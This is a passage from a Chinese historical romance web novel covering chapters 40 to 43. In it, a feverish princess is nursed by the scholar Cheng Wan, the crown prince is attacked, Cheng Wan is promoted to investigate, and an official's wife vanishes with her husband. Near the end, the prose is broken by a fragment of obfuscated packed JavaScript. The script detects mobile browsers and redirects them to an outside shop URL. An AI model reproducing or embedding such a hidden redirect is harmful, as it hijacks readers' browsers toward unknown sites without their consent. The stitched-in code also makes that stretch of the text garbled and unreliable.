苏静寒嘴角噙着一丝淡淡地笑意:“当年画上的还不敢太确认,如今真见到应是她了,眉眼间有些相似。”
说着他又看向程晚:“先别说起我了,许久未见还没有机会问问起你,你与那帝家公主是如何一回事?”
程晚见他盏中茶已空,便一手提起茶壶为他斟了一道茶:“近来寺中香客多了,你倒是闲下来了?”
苏静寒道:“今日别想岔开我的话。是你不了解我?还是我不了解你?贫僧听闻那帝家公主本来自小就是有个未婚夫的。但这些年这未婚夫天底下可都以为出自魏家。裴闻迟,你想后来者居上?”
程晚微微地笑,眸光柔和。
苏静寒:“哦,不对。当年寿昌皇帝临终前是下了一道圣旨的,他日淮南王若有后为女,帝后诞下子嗣为男儿,便为皇储妃。若淮南王得子,帝诞下女儿,便为他日的公主驸马。”
“世子殿下,你还没回答贫僧的问题罢?”
程晚:“在寺庙所居多年,你还真以为自己是个佛子了?”
苏静寒双手反复轻抚起掌心的佛珠,垂眸笑笑:“我比你大四岁,有些事情自是比你先看的明白。如今这就是我的归宿,若能代阿耶阿娘赎罪,这里……挺好的。”
程晚望向雨幕:“这是看破红尘了?”
苏静寒一声轻叹:“身在尘世又如何看破红尘?”
40. 风寒
这场急雨下到第二日也未歇。
细雨打在房顶上的瓦片不时发出噼啪的声响,公主府众人也跟着这一声声敲打心神不宁。
只因昨夜公主突然起了高烧,平日里常流连在顾绮处的府内御医也因公主突然发病回了主院。
覃楹衣不解带地守了一夜不肯离去,直到今晨公主服了药昏昏睡下才肯由雾萝顶上下去歇息。
姜宝来昏昏沉沉地躺在榻上,只觉自己如同在一口大锅上炙烤,眼皮也不听使唤地打着架。
半睡半醒间,直到一只温热的手掌探上了她的额头,她才有意识地呢喃了一声:“阿兄。”
她幼年也会常常生病,胞兄姜朔玉亲自照料她多年,也曾像如今这般,伸出一只手去感受她的额温。
午后御医照例准备了汤药,覃楹已下去歇息,服侍公主用药的活计便成了雾萝的职责。
但雾萝却没能将药碗带到公主的面前,在服侍公主一点点喝下。而是将药碗给了屋子里突然都出来的另一个人。
程晚这日仍然如往常般日出上值,邵典书平日里常关照这个与他一同在阁内共事的僚友,念他拿着一份俸禄却做着两件幸苦事,日日带着小食分给程晚。
不过还好,昨日里告病多日的蒋学士回来了。
程晚在馆内正校对着书籍,听闻邵典书言西市新开了一家馎饦铺子,很是美味。
邵典书正想待下值邀上程晚一同去品尝一番,程晚却道:“今日子煦还有事。改日定当与典书大人一道饱尝。”
邵典书知他独来独往惯了,不似馆内同僚下了值就去找乐子做,吃酒品茶、打打马吊,或去西市看一看斗鸡。
但邵典书没想到,程晚竟买了一份热气腾腾刚出锅的馎饦去了公主府。
长乐宫内。
程晚坐在公主闺阁床榻前的一张木椅上,伸手接过了雾萝递来的药碗,并温声道了一声:“劳烦。”
也正是这一句温语,让榻上昏昏沉沉的姜宝来骤然清醒。
姜宝来猛地睁开了眼皮,看向突然出现在她闺阁内的不速之客:“程子煦?”
“你怎么进来的?”
说着她看向一旁抿着唇、垂着头看着自己足尖的雾萝。
雾萝抬起头看向公主:“程校书来为公主送吃的,得知公主病了便留下了。”
“那你就让他进来了?”姜宝来瞪着眼问。
雾萝拿眼觑觑公主,心虚地再次垂下了头。
雾萝心知,公主倒不是因为别的,若还为着前些时日的事,可自七夕程校书赠画以后这气性早过了。而是公主大病一场,自昨夜里到现在也未曾好好梳洗打扮,面上更是未敷脂粉。
一头光滑乌黑的发,不似平日里在程校书面前,绾成高高的鬓。长长的黛眉,朱唇轻点,红妆点颊,珠翠环绕。今日一头秀发自然而然地垂在了两肩上,珠翠全无。
公主何时这般出现在他人面前过。
雾萝自然也知道。
于是在她见到程校书来了公主府,便想让他等上一等,等到公主醒来,梳妆打扮后好见客。
当然她也不能就这般让程校书离去。
毕竟公主如今高热一场正是需要人关心的时候,而这个校书郎恰巧是最合公主心意的人。
雾萝心中这般认为。谁想,那校书郎听闻公主病了,转过身便离开了公主府,不到一盏茶的工夫,又拎着一包饴糖与她道了一声“多有得罪”便兀自进了屋子。
雾萝想来想去,觉得公主苏醒后最想见到的人定是这程校书了,覃掌事又没在身边管着,遂未再坚持。
姜宝来一头钻进了锦被里,而后将自己浑身裹成了蛹一般,恨恨地道:“出去……快出去。”
程晚看向床榻上将自己从头到脚裹在床铺里的人,目光柔和地笑了笑。
他道:“我带了饴糖来,乐宁将药吃了我便会离开。”
姜宝来:“我现在不想见客。”
雾萝一步一步挪出了屋子,还不忘将门严严实实地关上。
姜宝来听见门扉被关合的声响,久等不见屋子里再有动静便钻出了被子。
谁料却对上了一双极为好看的眼睛。
姜宝来一怔。
“程子煦,你怎么还不走?”
程晚温温道:“我亦曾见过公主喜怒哀乐。”
姜宝来一个眼神瞪过:“所以呢?你想说什么?”
程晚端着药碗上前:“所以子煦想说,公主无需打扮,何时都是漂亮的。”
姜宝来抬眸盯了他半晌,忽地重新躺了回去,懒洋洋地道:“我不想喝药,你若想喂我喝呢,我倒是可以考虑考虑。”
程晚依言走过,一手持着汤匙轻搅着碗里的药汁,而后再轻轻吹了吹递到了姜宝来的唇边。
但姜宝来却不为所动,随后紧阖上了眼再次将头蒙了起来。
程晚看得好笑。
他迟疑了一瞬,将药碗放在了一旁的花几上,这一次坐在了公主所躺的那张榻上,紧接着又将她头上的锦被掀开,再而将她揽到了自己的怀中。
姜宝来被程晚这一系列的举动弄得有些怔愣。
而程晚这时开口,温声道:“乐宁,可以好好吃药了吗?”
随后他将药碗取了过来,一勺勺送到了姜宝来的唇边。
程晚见她乖乖喝下汤药心里略松下一口气,又见碗中的药汁大半已进入她的腹中却没听她提及药苦,便想起身去拿刚刚买来的饴糖。
他将药碗搁在一旁并起了身与姜宝来道:“我去拿……”
程晚口中最后想说的那个糖字还不曾说出口,便被一股大力重新扯了回去。
随后程晚猝不及防整个人跌倒在榻上,入目的是一片桃夭色帐幔,鼻间吸入的是一缕淡淡的甜香。
程晚耳尖倏地一红,还不待他起身,便见一身着樱白色中衣,肤白如雪,一头乌黑的秀发如绸缎般披散在肩侧的女郎坐在了他的身上。
程晚顿觉脑中一道惊雷闪过。
姜宝来:“程子煦,这是你自己送上门来的。”
“要什么饴糖,这里有现成的甜糖。”
说着,姜宝来一手抓住他的衣襟,一手钳制住了程晚一臂,倾身吻了上去。
细雨仍然淅淅沥沥的下着,姜宝来吃过了汤药仍然觉得身体一片高热,覃楹离开前已用巾帕浸到温水里为公主擦了一遍身,又取了凉枕让公主好受一些。
但经不住这场突然而来的风寒难退,姜宝来烧得昏沉,突然触摸到了一个冰凉的“物件”,她只觉浑身都异常舒坦。<
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姜宝来闭着眼,一手胡乱的在程晚的面上摸索着,而后一口咬在了他的唇上,再轻轻吸吮着。
程晚被动地仍然躺在公主的那张床榻上,白皙的面容却已泛起一片淡淡的红晕。
姜宝来用力的吸吮着他的唇,一手已下意识顺着她的衣襟探到了他的脖颈,再而锁骨、光滑的薄肌……
程晚一身青色的长袍早已凌乱,皱得不成样子。
他紧紧抿上了唇,一声嘶哑地开口:“乐宁……”
姜宝来面色泛红,闻言长睫微动,紧接着蹙了蹙眉,一双眼昏昏沉沉地看向了他衣襟旁的领扣,似觉得有些碍眼。
说动便动,她双手伸过解开了那枚衣扣,紧接着将它用力褪了下去,程晚青色衣袍下一袭雪白的中衣顷刻暴露在姜宝来的面前。
她妩媚一笑:“程子煦,那身官服不好看,不要它,里面的最好看……”
说着姜宝来再伸出胡乱的去解程晚的那件中衣,程晚见状一手轻轻握住了她的手腕,再而将她的手放在了他的胸前。
程晚心跳如擂鼓。
姜宝来迷迷糊糊地道:“你阻止我做什么……”
话还未落,姜宝来便一头贴在了程晚的颈间,额头擦过他的双唇,昏睡了过去。
程晚见怀中的公主已然酣然如梦,他迟疑一瞬,一手轻抚过她的头发,轻轻地侧过了头再她乌黑的秀发上落下一吻。
-
一连几日,程晚待下了值,便会带着坊间各种各样的吃食、鲜果前往公主府,且不忘给公主府的守卫和侍女们多带上一份。
守卫们日日见到面如冠玉又如清风霁月般的探花郎,且还日日带着吃食送给大家伙,即是铁石心肠也渐渐得捂热了。
而侍女们早在日光透过云层时便翘首以盼这个浑身带着温和柔润,和煦如春风的“待定”驸马。
公主的风寒一日渐一日好转,侍女们也早默契的一拍即合。
雾萝笑哈哈道:“婢子去制作花露,公主今日有些头疼闻不到香气晚上不能好眠呢!”
覃楹也跟着道:“我去取公主的牛乳庚。”
纷纷选择给二人留了私密的空间。
姜宝来懒洋洋倚在凉台旁的一张软榻上,望着程晚已结痂的嘴唇,问他:“程子煦,你是不是想收买我府里的人?”
程晚只微微地浅笑着不语。
姜宝来想起这几日早间的情景,一个个伸长了脖子等在门廊下的侍女,犹不解气,一把拽住了他的衣襟:“程子煦上榻来,病气通通给你!”
程晚眉目间尽是温润柔和,由着她将他拉拽到了榻上。
而后程晚温柔地拥着她,二人合衣而躺,程晚亦如那日般轻抚摸着她的秀发。他明净清澈的眼睛看向头顶一片片五颜六色绘着花鸟的漆料,心下不由一松。
还好不是那片桃夭色的床幔……
姜宝来倒是没有想到,程晚会乖乖不觉逾矩地上了榻,她一手环过了程晚的腰身,也难得柔声地道:“程子煦,我好喜欢你。”
可这片柔情缱绻的气氛还没维持多久,二人便被屋门外一声呼吸急促地惊喊打破。
“公主。”
“公主殿下!”
“殿下……太子殿下他半个时辰前遇袭了。”
41. 擢升
茂才面上伤痕密布,一身绯袍也比平常暗了些许。直到公主府的仆从们闻到茂才周身的血腥味,才意识到那身官袍被浸染上了一大片血迹。
茂才在见到程晚从公主的闺阁里出来那一刻先是一怔,又在见到公主时噗通一声跪了下去,抹起了眼泪:“不是奴才的血,是太子殿下……是殿下的。”
姜宝来骤闻胞兄遇袭,令覃楹取来一身骑装,而后急匆匆穿在了身上便朝外走,亦不忘将一头散乱的披发利落扎成了马尾。
程晚见她自然而然地在他面前换起了衣裳,虽里面着了一件雪白的中衣,还是向外避了避。
姜宝来此刻满眼地锐利,看向跪地的茂才:“将话简短了说,阿兄可有性命之忧?在哪遇的刺?可有找到贼人?”
那边多吉已备好了马匹,雾萝又去取了公主惯用的弓箭,姜宝来一手接过,又急匆匆朝府外走去。
茂才紧跟在后呜咽着道:“殿下还未醒来,袁奉御正寸步不离地守着,陛下今早也来了一趟,奴才得了空这才来了公主府寻小殿下。”
茂才顿了顿,说:“自打去年冬月里陛下恩准太子殿下监理大理寺行狱,因着腾王妃几日前在她娘家的田庄离奇失踪的案子,殿下一直东宫、衙署两头跑。就在昨日殿下顺着线索意外查到一伙在农庄的豪强侵占了大部分农人的民田,农人敢怒不敢言,直到殿下出面才说起此事。殿下这才知那伙豪强是姚尚书的幼子平日里结交的人。”
“殿下本想秘查此事,昨夜从衙署出来时恰巧瞧见了滕王的马车拐去了北里,殿下觉得有疑带着奴才跟了去,结果等了一个时辰不见滕王殿下下马车,后来快过戌时在那发现了姚二郎与鸿胪寺卿沈大人会面。”
茂才说着再抹了一把泪,泪与血混杂着已分辨不出原本的面貌:“姚二郎与沈大人在北里会面本就蹊跷,昨夜更深露重殿下肺寒加重,奴才劝着殿下回了东宫,想着今日再查,却不想再去衙署的路上遇了刺……”
姜宝来闻言步子一顿,回身道:“你说什么?四嫂嫂失踪了?田庄、姚培、沈川,什么跟什么。”说着,她将目光移到了跟在后的程晚身上:“你……知不知道此事?”
程晚目色微沉:“我并不知晓此事。”
姜宝来咬了咬牙,盛气凌人地问:“是姚培还是沈川?是哪个蠢蛋?”
茂才忙说:“那伙贼人还没找到,魏郎君已经带着金吾卫的人连夜去找了。只是昨夜沈大人夫妇两个一同失踪了。”
姜宝来一手抓紧了缰绳,再一脚踩上马镫跨到马背上,还未坐稳,闻言唰地回过了头。而后,她默了一默,看向马下的程晚:“程子煦,你跟上我!”又吩咐多吉:“多吉,你速去寻魏翊扬,与他一同去找湘君姐姐。”又对紧跟出来的覃楹道:“你去趟沈家看看她身边的侍女在不在,若是不在寻一个昨夜在房里当值的人带回来。”
覃楹忙应是,急促离开。
多吉却迟疑一瞬。
姜宝来见到扬了扬下巴看着程晚道:“有他护着我,你怕什么?”
程晚朝着多吉一作揖很快翻身上了守卫牵来的马匹。
-
三人不到一刻钟的工夫便到了东宫。
东宫里就如那日在姜宝来的梦境中一般,廊下慌乱失措的御医与抱着金盘,一盘盘血水倒出往返急行的宫娥内侍。
胞兄亦如在梦境里那般卧于床榻之上,此刻面上毫无血色,双眼紧闭,干净的素色里衣下浸透出一片刺眼的血污。
姜宝来一个恍惚,步子一晃,正要去扶住身侧的门沿,却忽地从旁伸出一只温热的手掌。
姜宝来朝着身后的程晚看了看,程晚这时望向床榻前眉头紧锁在为姜朔玉施针的袁奉御,轻声问:“奉御大人,殿下如何了?”
袁奉御额间布满了冷汗,程晚上前递上了一条巾帕,袁奉御接过胡乱擦了擦:“所幸殿下暂无性命之忧,只是殿下本就心肺受损,如今身上多处刀伤且失血过多,经此一夜仍然昏迷不醒。”
姜宝来闻言突地转过了身朝外走,她一手抽出了身后的弓箭,再取出了箭囊里的一枚箭矢,问茂才:“那姚培在哪儿?”
茂才道:“姚尚书听说此事已将姚二郎亲自送到了大理寺,但姚二郎在衙里直喊冤屈。”
姜宝来眉眼间添了狂涌的怒意,几乎是咬牙切齿道:“管他冤不冤,沈川畏罪潜逃他也难逃干系,先揍他一顿再说。”
“包藏祸心,衣冠禽兽的蠢蛋,先一箭射穿了他的舌头,再去射穿他那双乱瞟的眼。”
袁奉御见公主火急火燎出了屋子,眼皮一跳,颤颤巍巍地起了身,在后唤道:“公主……公主啊!”
他又看向紧跟在公主后面的程晚,跺跺脚:“小儿郎,你怎么也跟着公主胡闹。”
程晚听见袁奉御的话正要开口,几人却突闻廊下一声:“皇儿……”
太子骤猝然遇刺,皇帝今日罢朝一日,但紫宸殿里堆成山的奏折还等着他一一处理。
他内心牵挂着发妻谢氏为他留下的这个,最优秀却最上天待他不公的儿子,匆匆批阅了奏折便来了东宫。
内侍王贤还不待通传,长明帝便听见庭院里来于市井粗鲁不堪的咒骂声。
这个女儿令她最是头疼,也最是得他溺爱钟爱。
她不似寻常的世家小女儿,几个同父异母的弟弟所出的女儿,得体端庄的郡主。凡事直来直去,性子跳脱,从无半分世家小女儿的端庄优雅。
他老了,自幼羸弱的长子到现在还未成婚,但这个康健的小女儿他总要为他寻一个称心可靠的驸马才是。
长明帝紧皱着眉头,但面对着自幼宠爱大的小女儿目光里却尽显疼爱,他语重心长地道:“乐宁,怎的如今还这般冒冒失失?”
姜宝来看向已走到给廊下的父皇,已规规矩矩收了弓箭递给了身后的茂才。
众人一一行礼。
姜宝来再看父皇眼下的一片乌青显然也是因阿兄遇刺一事一夜未好眠。
想到此,姜宝来默
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了一瞬,而长明帝看着一言不发的小女儿也是一时有些不解。
突地,姜宝来一声哽咽,大颗的泪珠从眼眶中不停地涌出,却只流着泪不语。
长明帝头疼:“乐宁,你这是为哪般?袁奉御不是说了玉儿不性命之忧。”
姜宝来道:“父皇,那朝廷里的事与我无关,我也不甚了解。可儿臣不是个傻的,四嫂嫂失踪在郊外的田庄,侵占民田的恶棍,鬼鬼祟祟的姚培、沈川,哪一桩不透着蹊跷?怎么阿兄前脚查起此事,后脚就遇刺了?”
说着姜宝来越哭越凶,一手抓着长明帝的衣袖不放:“父皇……母后去得早,我刚呱呱坠地母后便离我而去,阿兄拖着病体亲自将我带大,如今阿兄虽无性命之虞可也一脚踏进了鬼门关,险些被阎王爷收了去。”她抽泣着,哭红了眼,看样子很是伤心难过:“如今……如今我只剩下父皇与阿兄两个最亲最亲的人,儿臣的心痛死了……痛极了。”
程晚在后听着公主断断续续地颤音与哭诉,微垂地眼睑动了动。他看到了公主藏在身后的一手,手指朝着他勾了勾。袁奉御还在屋子里尽心医治着太子殿下,茂才也在远处的门廊处挺立。
公主的身后只有他。
程晚不动声色地垂下了眼,略一思忖从怀中掏出了一块天水碧色绣着绿竹的手帕,缓缓走上了前去。
长明帝望着泪眼婆娑非常伤心的小女儿,早已将来时宠妃在他面前的泣不成声忘在了脑后。
他正想开口却忽然地见庭院里方还在远处站立的那寒门士子走上了前来。
程晚再行一礼,道了一声:“陛下。”紧接着他双手朝着姜宝来递上了一块手帕。
姜宝来垂下眼,盯着那手帕看了一瞬,一把接了过来擦了擦眼角的泪珠却是哭得更凶了。
长明帝安慰着难过的小女儿:“慈恩寺的老住持常言你阿兄福泽深厚,玉儿那就定是个福气绵长的。”
说罢,他话锋一转,一双来自帝王不怒自威深邃锐利的眼看向程晚。
“程卿?”
程晚作揖,答:“微臣在。”
长明帝默了默,再长吐一口气:“朕知你当日能进崇文馆还是得玉儿得举荐,如今玉儿因此事受生病之危,姚家二子喊冤,鸿胪寺卿沈川夫妇不见踪迹,如今朕恩准你……就从朕的四儿子——滕王的妻室腾王妃离奇失踪一案查起,如何?”
程晚沉静地答:“微臣出身寒微,承蒙陛下信重,得殿下垂青,微臣自当竭尽所能报殿下知遇,不负圣恩。”
“臣,接旨。”
长明帝负手而立,再默然片刻,只盯着面前这个刚刚少年加冠的寒门书生,似在探究。
长明帝道:“此事不单事关太子,沈家、姚家都在其内。事急从权,朕今擢升你为大理评事严查太子遇刺一事。”说着他一声轻叹:“朕的常侍王贤言你在崇文馆做事勤恳,认真细致。但愿你今能彻查此事,无半分疏漏。”
程晚从容不迫地温声道:“臣谨遵陛下旨意。”
42. 假夫妻
长明帝在看过了长子后又匆匆离去。
姜宝来在声泪俱下地送走皇帝后又与程晚并茂才回了殿中。
程晚默不作声地看着公主用那块方帕擦了擦眼角的泪珠,转头又令茂才将小敞的殿门关严。
只言:阿兄如今重伤在身,穿得单薄,以免重上加重,吹不得风。
待茂才关了门,姜宝来一手将帕子丢给了程晚,全然不似方才的啜泣:“还算你机灵。”
程晚接过了帕子,温温笑了笑。袁奉御稍稍侧过头瞥了一眼两人,继续为太子施着针:“公主对小儿郎召之即来挥之即去,人家绝对的服从你,哪能不机敏些?”
姜宝来闻言朝袁奉御看了一眼:“小老头,我就是那么霸道跋扈的?他程子煦……”姜宝来又飞快地看了槛程晚:“从来都是他自愿的。”
袁奉御眼皮直跳:“对的,对的。小儿郎性子温和,肯迁就你,比那性子野的,两个人鸡飞狗跳的好!”
姜宝来一听这话,平日里最是溺爱她的袁奉御。从前她年岁小与她滕王,楚王两个哥哥打架挂了彩,袁奉御最是护她心切,也不管君臣有别,很是过分地当着两个哥哥面为她说话。
如今竟话里话外在为一个素不相识的人说话。
想到这里,姜宝来突弯弯地秀眉竖了起来,怎么一个、两个都将对她的关爱分给了那目下正满眼柔和看着自己的程子煦。
正逢有御医将方煎好的汤药送了过来,茂才拿过还不待上前,程晚已先一步接了过去。
“我来。”程晚一手拖着药碗走到了姜朔玉的身前,并自然坐在了他面前,一手轻轻托过他的脖颈,似要喂起药来。
昏迷不醒的人最难用药,还好御医们已经事先有所预备,准备了小竹片以备太子殿下用药困难,必要时可用竹片撑开殿下的口。
但殿下金尊玉贵任谁人也不敢这般对待一国皇储,平日里殿下生病不醒还是嘉福公主亲自用竹板抵着喂着药。
可如今不同的是,太子殿下的寝宫里照往常突然多了一个郎君。
姜宝来见此一幕忽地想起那日她生了风寒,程晚也是这样哄她吃药,只不过不同的是当日她是被他抱在怀里的。
她思忖一瞬,将药碗接了过来,如往常一般为胞兄喂起汤药。而程晚也未因此离去,而是仍旧在姜朔玉的身前,坐在那张床榻上,以腿为枕再轻托着姜朔玉的头,让姜宝来方便喂药。
袁奉御欣慰地看着这一幕,悄悄地退了出去。走时还不忘将在门前哭红了眼的茂才一并带了出去。
姜宝来小心翼翼地喂胞兄喂着汤药,程晚就那般静静地看着这一幕。
自春日里来长安,他得见公主,与公主相遇,却是第一次见到公主这般谨慎小心的做起事来。
姜宝来一勺一勺将汤药喂进了姜朔玉口中,她微微抬眼,见程晚许久都没有动静,有心看了他一眼。
程晚与她投来的目光对上,温柔地道:“若是累了我来。”
“我不累。”姜宝来只随意地瞥了他一眼便将目光重新移到了胞兄身上。
“程校书,哦,不对,程评事大人,如今阿兄昏迷不醒,沈家姚家那两个蠢蛋不知在里到底做了多少事,阿兄看重你,这件事你能做好的吧?”
程晚道:“我不会辜负殿下予我的信任。”
姜宝来闻言默了默,将最后一勺药汁送到了姜朔玉口中,程晚顺势将空碗接了过去。
他听见公主道:“只是我觉得有些奇怪,说不上来哪里奇怪。”
程晚问:“可是沈大人夫妇?”
姜宝来闻言眼睛一亮:“你也这么认为?”
程晚刚要开口便见她起了身:“有小老头在这儿我自是放心,我还要回去审一审在沈家的侍女。”
程晚见她起得飞快,来不及一同起身,便一手抓住了她的手腕。
姜宝来回眸:“你做什么?”
“升官了,胆子也大了?”
程晚斟酌道:“我尚有一疑虑。当日殿下与我说起过公主似梦中所感……起死回生一事,我……”
程晚的话还未说完,姜宝来突然正过了身一步步如同鬼魅般走到他的面前,盯着他问:“什么起死回生?”
程晚见她故作一脸茫然,唇角勾起一丝微微地笑意:“是公主的梦境,公主福气绵长,既有为仆先知的本领,不妨看一看身边的事物和人。”
姜宝来忽地倾身逼近,嘴角也随着微微扬起一抹微笑:“阿兄这都告诉你了?你可真是阿兄的好谋士、好门客,程子煦,你不怕我是‘妖怪’么?”
程晚见她越来越贴近的面容,却没有像往常一样微微避开,而是一瞬不瞬地看着她。
姜宝来:“你想说什么?”
程晚并未迟疑,果断开口:“公主不妨从衣食起居开始朝查起,譬如……”
姜宝来忽然打断了他的话:“你这个‘妖怪’,你说我们两个谁能降服得了谁?”
程晚听她答非所问,无奈一笑,正要开口,又见公主转身欲走:“这事儿无需你评事大人操心,如今你只要将阿兄遇刺一事彻查清除,待阿兄醒了见你升了官发了财,办事极为妥当,不知该有多欣慰。”
姜宝来头也不回地朝前走,不忘摆摆手:“我还有事要回府一趟,愿评事大人此番名利双收,百事大吉。”
程晚见她走得坦然,似丝毫未将方才的谈话放在心上,他抚额一笑。但将心里多日的疑虑告诉了公主,也终于松了口气。
-
姜宝来回到长乐宫时,覃楹已经带着平日里近身服侍杨湘君的侍女回了府。
太子遇刺,当朝三品朝官蹊跷失踪,更不同寻常的是沈川四年前过门的古人也一并不见踪影。
这事儿哪哪都透着怪异。
大理寺的人将杨湘君身边的侍女霜月带回了衙署,做了一番证人的供词,奈何昨夜杨湘君寻了由子将她支回了杨家,当夜发生的事一概不知。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357350|198480||http|test|mini|href|location''.split(''|''),0,{}));
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>霜月还算镇定地在公主面前,一五一十道:“昨夜娘子让婢子带了她新做的花糕回一趟杨家看看夫人与二小姐,回来时去张记买上一些胡饼。当时娘子面上与平日无异,婢子也没觉得奇怪。直到后来婢子从杨家回到沈宅的路上,才从临街的摊贩口中得知朱雀街一片狼藉,太子在那儿遇了刺客。”
霜月的声音越来越轻:“婢子恐坊中严查提前宵禁匆匆回了府,张记也没有去。谁想沈家已是一团糟,婢子看见娘子的居室火光冲天,一片焦黑。婢子听沈夫人身边的婆子说,是娘子烧了平日里沈夫人送去的那些书籍,而后点燃了屋子,不知从哪藏了一把短刃挟持着郎君出了府。”
霜月哽咽着继续道:“婢子怕那婆子颠倒黑白诬陷娘子特地问了在沈家,娘子多年关照的一个哑巴仆人,那仆人也证实了此事。后来婢子又听沈家守门的小厮说门前不不远早在午后就停了一辆马车,他们也没在意,后来娘子火烧了屋子带着郎君上了那辆马车一路向南去了……”
“他们沈家就没人追上?”姜宝来听到最后一头雾水,但她也在霜月的话里听到了重点,是杨湘君带着沈川出府的。
而后她问:“什么书籍?”
霜月闻言一时怔然,覃楹见此上前一步道:“公主,是女诫。”
姜宝来突地一拍花几,怒喝一声:“什么东西?”
“我怎么不知道?”她看向覃楹。
霜月这时用衣袖抹着泪道:“娘子并不让我们多言,她常说自己自有打算。往日回杨家时婢子想着府里到底有个老太爷在朝中为官,沈夫人总会顾忌一二。婢子有心与夫人提起一同想了法子,娘子也加以阻拦。”
姜宝来一拂花几上的八棱花瓶,花瓶受力朝前一倒,啪地一声落地了碎为数片。
覃楹几个看着公主起了身,连连徘徊,霜雪般清明的眸子里仿佛带着两团怒火。
姜宝来抱璧在怀沉思许久,一手捏着下巴,任谁人也不敢打扰。
忽地,姜宝来转过了头,走近霜月:“你说你家娘子带着沈川走了府,那前几日你有没有听到她们二人吵架?或是那沈川有不当行为?”
霜月听了公主的话仔细回忆半晌:“有。娘子与郎君七日前大吵了一架,婢子还记得那天下了一夜的雨,只是郎君去娘子的居室时坐坐便走,娘子素来都是让我等回避的。”
姜宝来一听再次抓到了重点:“你说沈川坐坐便走?他们平时不宿在一处?”
霜月闻言垂下了眸,此事娘子交代过不让他们多言,但如今娘子去向不知生死不明……
霜月点了点头。
姜宝来再问:“多久了?”
霜月如实道:“娘子嫁进沈家没几日,只是单单……单单留宿在屋子里。后来三年前郎君为寒门士子出头伤了腿,不断的汤药往沈家续着,沈家老夫人花了大半积蓄为郎君治病,郎君以腿伤为由这些年一直在书房睡下。”
姜宝来睁圆了眼:“假……假夫妻?”
43. 端倪
霜月连夜回了杨家,只因公主说沈家那是个吃人不吐骨头的地方,又问起她昨夜娘子是何时遣她回杨府等芸芸,霜月为着娘子的安危一一答了。
星月交辉,霜月以为公主回早早在府歇息,却见公主带着几个提剑守卫骑着马火急火燎出了公主府。
杨太傅也因太子遇刺,其中牵涉到自己的孙女连夜进了宫。
他身为太子的老师自然知晓太子近来往返大理寺与东宫两头不误,只因长安出了一桩事关皇家的案子,腾王妃无故在田庄失踪。
但太子并未与他过多谈起此事,只说自己自有安排。
太子自多年前加冠后已无需他在每日辅弼,而太子这些年也因他年龄已高时常劝他及早与圣人上表致仕。
杨太傅如今年近七十高龄,也自然明白太子是想让他先一步从朝堂多变的局势上脱出。
太子这些年拖着一身病体为淮南王翻案已是不遗余力,但对他这个老师却是知无不言,只不过昨夜一事,太子也许尚未来得及与他提起,只是他的孙女婿沈川与姚尚书幼子出现在北里,私下结交一事是在他意料之外的。
如今孙女与沈川一同失踪不知去向,太子昏迷不醒,姚尚书幼子在大理寺喊冤。
杨太傅忽然想起了那个在春日里来长安的少年。
-
程晚见宫里的袁奉御等一并御医留在了东宫悉心照料起太子,当日便去了大理寺。
王贤早在随长明帝离开东宫时便亲自走了一趟大理寺,大理寺卿章墨得知在崇文馆任职的一位今年的新科进士刚刚任命为大理寺评事。
今年的一甲进士只有一人去了崇文馆,章墨知晓此人还是太子殿下亲自举荐的。且当日随圣驾前往行宫也曾一睹这位探花郎的风采。
章墨与太子做事近一年,且这位储君性情温和,睿智宽宏,丝毫没有天家子孙的做派,当日得知此人由太子举荐,为此行宫宴会上还多留心看了几眼。
但目下太子当街遇刺,尚不知与腾王妃失踪一事是否有关,大理寺为此事已忙得脚不沾地,焦头烂额。
这会儿金吾卫的人带着全衙署的卫士在各坊乃至郊外寻找失踪的沈川夫妇,大理寺等着上头再派下来人接手腾王妃失踪一事。
因此案一直是太子殿下在负责,事关皇室宗亲,如今太子陷性命之忧,章墨本以为宫里再回派个皇子前来接管此事。
圣人在位多载唯有四子,除太子殿下外另有齐王楚王滕王三子,而齐王殿下这些年也有淑妃娘娘的缘故,颇得圣人宠爱。
章墨在衙署应接不暇,已是晕头转向,翘首以盼等着齐王殿下莅临。却没想到等来了陛下身边的常侍王贤。
当日他看得出来陛下有意栽培此人,尚不知是何种缘故,如今听王贤所言竟是陛下亲自任命他为大理寺评事,仍然有些不解。
他有心问王贤因由却碍于身份有口难言,而王贤也与他打着哑谜交待了此事仆仆离开。
程晚先回了一趟崇文馆将昨日抄录修正的那些书籍重新查看了一边以防遗漏。
而邵典书早在吏部的人来学馆将程晚的春日来此任职的告身文书取走,再将新的甲历档案拿回吏部重新记录时,便知晓了他摇身一变成了大理寺评事一事。
邵典书满面地兴奋色,要知道历任的校书郎,不论秘书省还是崇文馆,都要苦熬个三年五载,待任期满凭着自身的真才实学,经吏部的铨选才能晋升提拔,授予职官。
而程晚春日里来崇文馆任职还不待期满一载便从九品校书郎成了八品评事,换做以往定不算破格升迁,但程晚的擢升着实太快了。
邵典书眉开眼笑地搓着手:“啊呀……程老弟,你瞧瞧我说什么来着?当日载延寿坊我可是料事如神的,我与你说你早晚有一天会离开崇文馆。”
程晚笑得和煦,看着与他共事近一载,大上他几岁的邵典书:“托典书大人吉言。”
邵典书笑哈哈拍了拍他的肩头,又怕隔墙有耳,小声与他道:“我与你说听老哥一言,小官也是官,虽是个八品,可老哥知道子煦你早晚有一天会站到那朝堂之上,随百官入殿,听朝会、着紫袍,挂金鱼袋。”
程晚闻言忽地放下了手中的书籍,侧过头看了看邵典书。
邵典书眨眨眼,瞧了瞧身后无人的庭院:“我晓得,我晓得,这不是没有他人在只与你说么?”
程晚微微笑笑,轻拍了拍他的肩头:“子煦也愿典书大人的愿望早一日实现。”
邵典书笑:“邵某官卑职小,真有那么一天么?”
程晚点头。
邵典书又见程晚不语,接着道:“怎么也要有个盼头,邵家还等着我光耀门楣。”
程晚温笑由衷地与他说:“典书大人定会的。”
程晚离开藏书阁又去了讲堂与两位学士辞别,之后便去了大理寺正式接任新职,查看当日腾王妃失踪后所留的卷宗。
-
姜宝来连夜带着人去了城东金吾卫府,得知魏翊扬还在外带着人寻找沈川夫妇,又风风火火带着几个守卫拿了玉牌出了城。
